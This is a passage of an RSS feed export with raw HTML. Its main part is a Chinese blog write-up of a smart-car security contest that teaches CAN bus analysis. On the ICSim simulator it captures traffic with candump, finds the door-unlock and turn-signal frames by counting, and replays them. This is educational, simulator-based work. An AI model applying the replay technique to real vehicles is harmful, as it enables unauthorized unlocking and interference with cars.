Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">欢迎找到其他漏洞的小伙伴在下方留言哇！</span></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="weapp_text_link" data-miniprogram-appid="wx1740bc9f8024a638" data-miniprogram-path="/pages/article/index?articleId=1706" data-miniprogram-nickname="留言墙plus" href="" data-miniprogram-type="text" data-miniprogram-servicetype="0" style="color: var(--weui-LINK);-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="">点我留言</a></span></strong></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.037096774193548385" data-s="300,640" data-type="png" data-w="620" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 620px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247486252">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=83765455&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486252%26idx%3D1%26sn%3D6e9dd7a804153a331c01849ec4c63476%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Jun 2020 18:12:00 +0800</pubDate>
    </item>
    <item>
      <title>智能汽车安全入门｜世界智能驾驶挑战赛总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486210&amp;idx=1&amp;sn=5f127ffbc7056b50df7822bb62402589</link>
      <description>车联网学习入门～CAN总线安全学习入门～</description>
      <content:encoded><![CDATA[<p>
原创 <span>年华不散场</span> <span>2020-06-18 23:49</span> <span style="display: inline-block;"></span>
</p>

<p>车联网学习入门～CAN总线安全学习入门～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cbdac6ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1SSbwVlQWkB7M7JiavZ8icPibECSh8xFYjNiaJ7xibIZMnsVz5mushnWbMyg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.4562410329985653" data-s="300,640" style="" data-type="png" data-w="1394" src="https://wechat2rss.xlab.app/img-proxy/?k=2757b7b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1Im8kciaJpAj6rhCUuxCiaKjJEluLibHVADqMeCdg1lXtRY2XduvBZ1Dow%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">0</span><span data-raw-text="1" data-textnode-index="0" data-index="3" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">0</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"> 基本介绍</span></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">这两天参加了<strong>世界智能汽车挑战赛</strong>，比赛使用了<strong>visual threat</strong>的汽车仿真设备。不过这个文章题目起的有些夸张，准确的说应该是CAN总线安全学习入门</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">本想<strong>复盘一下比赛</strong>，但因为我们无法使用<strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;white-space: normal;caret-color: rgb(167, 167, 167);">visual threat</strong>模拟器，遂从网上找到一个名为<strong>ICSim</strong>的模拟器来模拟CAN总线，<strong>安装起来极为友好</strong></span><strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></strong></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5421875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=649bc5b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1D6jx6wfA5NibKOmdNAicIkY1NkGlWS1lN6CEibMGhIdaY6JdYb3LnfSIg%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">安装方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils</span></code><code><span class="code-snippet_outer">git <span class="code-snippet__keyword">clone</span> https:<span class="code-snippet__comment">//github.com/zombieCraig/ICSim.git</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">启动方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">./icsim vcan0</span></code><code><span class="code-snippet_outer">./controls vcan0</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p style="text-align: center;"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">01</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"> 思路</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">比赛中的第一个题目要求<strong>对汽车协议(如车灯、门锁、后备箱锁、仪表等)完成有效数据提取并实现协议破解</strong>。此处我们使用ISCim生成流量模拟比赛过程</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">经过比赛之前的分析，我们猜测开门的<strong>报文</strong>可能<strong>分为</strong>以下<strong>3种情况</strong>：</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1. <strong>只有一条报文控制开门</strong>，按下开门按钮后，CAN总线上产生一条开门的报文。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2. <strong>车门状态报文一直在定时发送</strong>，但每当<strong>按下</strong>一次开门<strong>按钮</strong>，报文中的<strong>数据(DATA)</strong>会发生一次<strong>变化</strong>。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3. <strong>有多条时序报文控制车门开启</strong>（报文存在序列号检测或加密校验）</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">针对以上情况，我们提出了两种<strong>解决方案</strong>：</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1. 对所有的CAN数据进行统计，检索出与<strong>开门次数相同</strong>次数的ID报文</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2. 对所有的CAN数据进行统计，检索出仅<strong>数据(DATA)发生变化次数</strong>为<strong>开门次数的ID报文</strong></span></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">（可能有点绕，但是还是比较靠谱的）</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">02</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character" style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 18px;font-weight: 700;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"> 实践</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">依旧使用ICSim模拟，使用<strong>candump</strong>抓包CAN总线数据包</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.19740634005763688" data-s="300,640" style="" data-type="png" data-w="1388" src="https://wechat2rss.xlab.app/img-proxy/?k=c5c596d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1JwIVN3oKSibFibYQN4jwKg6PJ4mTtYSpjiceicZPLbb8yic4S8fh9JOicRWQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">按下开门五次</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">，接下来对该数据包进行分析，查找出<strong>ID出现五次</strong>的报文：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.4541139240506329" data-s="300,640" style="" data-type="png" data-w="1264" src="https://wechat2rss.xlab.app/img-proxy/?k=3d59d18a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1hN8PogRLxU0g46xkvXZMwnCOuibAgoCzUcpjia8RhnRwmeeZb7R65Rjg%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">提取出该数据包后，对其进行重放测试是否有效:</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.224817518248175" data-s="300,640" style="" data-type="gif" data-w="1370" src="https://wechat2rss.xlab.app/img-proxy/?k=4fcbe323&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1BUtwyAU20gjm6CKNBetScfkxRIs9GeUqvCvsEeyZib3wDKH7T6tHCsQ%2F640%3Fwx_fmt%3Dgif"/></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">完美，<strong>接下来我们尝试提取转向灯的数据，却发现无法检索到仅出现打转向灯次数的ID报文。</strong></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">因此我们怀疑有可能是<strong>第二种情况</strong>，我们将使用脚本进一步分析<strong>数据(DATA)发生变化次数</strong>为<strong>打转向灯次数</strong>的<strong>报文</strong>。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.2772988505747127" data-s="300,640" style="" data-type="gif" data-w="1392" src="https://wechat2rss.xlab.app/img-proxy/?k=9ec53cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1ZzqaIT3uQMmRj6s5jFiaMrHWDAdj6b2b4S9mxVrgibQKw0J2lSOmK9Ow%2F640%3Fwx_fmt%3Dgif"/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们打转向灯三次并抓包，使用脚本分析：</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.400329489291598" data-s="300,640" style="" data-type="png" data-w="1214" src="https://wechat2rss.xlab.app/img-proxy/?k=4b65aea6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1iba2e3jIK7gRRicuuChZxaSVWicNhfjG728W7gPq0I1UKYz6jFicic6F7dw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 